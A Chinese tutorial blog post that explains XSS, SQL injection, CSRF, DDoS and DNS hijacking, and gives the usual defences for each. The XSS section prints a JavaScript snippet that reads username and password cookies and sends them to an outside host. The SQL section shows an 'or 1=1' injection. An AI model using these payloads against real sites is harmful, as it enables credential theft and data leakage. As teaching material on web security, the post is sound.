当前位置:网站首页>一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
2022-07-26 15:30:00 【InfoQ】
XSS攻击
- 全称跨站脚本攻击
Cross Site Scripting
- 为了与重叠样式表
CSS进行区分,所以换了另一个缩写名称XSS
XSS攻击者通过篡改网页,注入恶意的HTML脚本,一般是javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式
XSS攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报

- 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段
javascript脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户访问了该页面,必然会执行这段脚本
- 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些
注入脚本,获取你的个人信息

- 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的
cookie信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');- 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到
php文件中进行处理保存,这样你的个人信息就已经泄露了
- 所以后端在接收用户提交的信息时候,要进行
消毒处理,也就是过滤一些特殊的字符,比如javascript脚本中的<>进行转移\<\>再进行存储,这样就能有效的进行xss攻击的预防
- 另外如果
cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样也能有效的防止XSS攻击窃取cookie内容

SQL注入
SQL注入攻击指的是攻击者在HTTP请求中注入恶意SQL命令,服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等操作,从而中招
SQL注入攻击,需要攻击者对数据库表有所了解才行,比如你的项目开源了,数据库是公开的;另外你的网站上线没有关闭调试模式,根据错误回显可以猜测表结构;还有就是盲注,也即是盲猜数据表结构,这种难度最大
SQL注入可以通过预编译手段,绑定参数是最好的防SQL注入方法。现在的框架基本都实现了SQL预编译和参数绑定,恶意攻击的SQL会被当做SQL的参数,而不是SQL命令被执行
# 正常获取用户信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用户表中的所有数据全部查出,导致数据泄露
select * from users where id=1 or 1=1
CSRF攻击
CSRF全称Cross Site Request Forgery,跨站点请求伪造,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器Cookie或服务器的Session策略,盗取用户身份
- 在打开
A网站的情况下,另开Tab页面打开恶意网站B,此时在B页面的唆使下,浏览器发起一个对网站A的HTTP请求
- 因为之前
A网站已经打开了,浏览器存有A网站中的Cookie或其他用于身份认证的信息,这一次被唆使的请求,将会自动带上这些信息,将会导致身份劫持,造成并非本人意愿的操作
- 而对应的防御策略有:
表单token、验证码、Referer检测

DDOS攻击
DDoS全称Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务就是让服务不可用。常用于攻击对外提供服务的服务器,像常见的:Web服务、邮件服务、DNS服务、即时通讯服务
- 在早期发起
DoS攻击是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可
- 后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的
CDN节点,也是就数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石
- 防御手段:技术发展到现在也并不能完全杜绝这种攻击的出现,只能通过技术去环节。其中包括:
流量清洗、SYN Cookie等等

DNS劫持
- 当今互联网流量中,以
HTTP/HTTPS为主的Web服务产生的流量占据了绝大部分。Web服务发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统
- 正是因为它的重要性,所以
DNS劫持很容易被别有用心的人利用
DNS提供域名转换成ip地址的服务,早期并没有考虑太多的安全性,后来出现了DNSSEC技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了httpDNS服务

边栏推荐
- Vs add settings for author information and time information
- R language ggplot2 visualization: use the ggdotplot function of ggpubr package to visualize dot plot, set the add parameter to add the mean and standard deviation vertical lines, and set the error.plo
- TI C6000 TMS320C6678 DSP+ Zynq-7045的ZYNQ PS + PL异构多核案例开发手册(1)
- 什么是虚拟摄像头
- The R language uses the histogram function in the lattice package to visualize the histogram (histogram plot), the col parameter to customize the fill color, and the type parameter to customize the hi
- FOC learning notes - coordinate transformation and simulation verification
- Pytorch installation CUDA corresponding
- Use of oscilloscope
- SettingWithCopyWarning: A value is trying to be set on a copy of a slice from a DataFrame
- VP视频结构化框架
猜你喜欢

Using information entropy to construct decision tree

VS2019Debug模式太卡进不去断点

信用卡数字识别(opencv,代码分析)
![[expdp export data] expdp exports a table with 23 rows of records and no lob field. It takes 48 minutes. Please help us have a look](/img/ee/7bec8211dddc90e52c2bc0f56c8dd4.png)
[expdp export data] expdp exports a table with 23 rows of records and no lob field. It takes 48 minutes. Please help us have a look
.NET 手动获取注入对象

Unity URP entry practice

Tutorial (7.0) 05. Issue forticlient * forticlient EMS * Fortinet network security expert NSE 5 through forticlient EMS

Pytorch installation CUDA corresponding

Quanzhi a40i industrial core board, 100% domestic 4-core arm cortex-a7, supports "dual screen abnormal display" [display interface capability, preferred scheme for industrial HMI]

【留点代码】将transformer运用到目标检测上来,通过debug了解模型的模型运算流程
随机推荐
ES6高级-查询商品案例
认识JS基础与浏览器引擎
sklearn clustering聚类
【基础】动态链接库/静态链接库的区别
Unity URP entry practice
FOC电机控制基础
深度学习中图像增强技术的综合综述
If food manufacturing enterprises want to realize intelligent and collaborative supplier management, it is enough to choose SRM supplier system
University rankings in Beijing
线程和进程
R language Visual scatter diagram, geom using ggrep package_ text_ The rep function avoids overlapping labels between data points (set the min.segment.length parameter to 0 to add line segments to the
Enterprise digital transformation needs in-depth research, and it cannot be transformed for the sake of transformation
什么是传输层协议TCP/UDP???
OSPF comprehensive experiment
The R language uses the histogram function in the lattice package to visualize the histogram (histogram plot), the col parameter to customize the fill color, and the type parameter to customize the hi
R language ggplot2 visualization: use ggplot2 to visualize the scatter diagram, and use the theme of ggpubr package_ The pubclean function sets the theme without axis lines in the visual image
anaconda No module named ‘cv2‘
R language uses LM function to build a multiple regression model with interactive terms, and uses step function to build a stepwise regression model to screen the best subset of predictive variables (
Familiarize you with the "phone book" of cloud network: DNS
筑牢生态安全防线,广州开展突发环境事件应急演练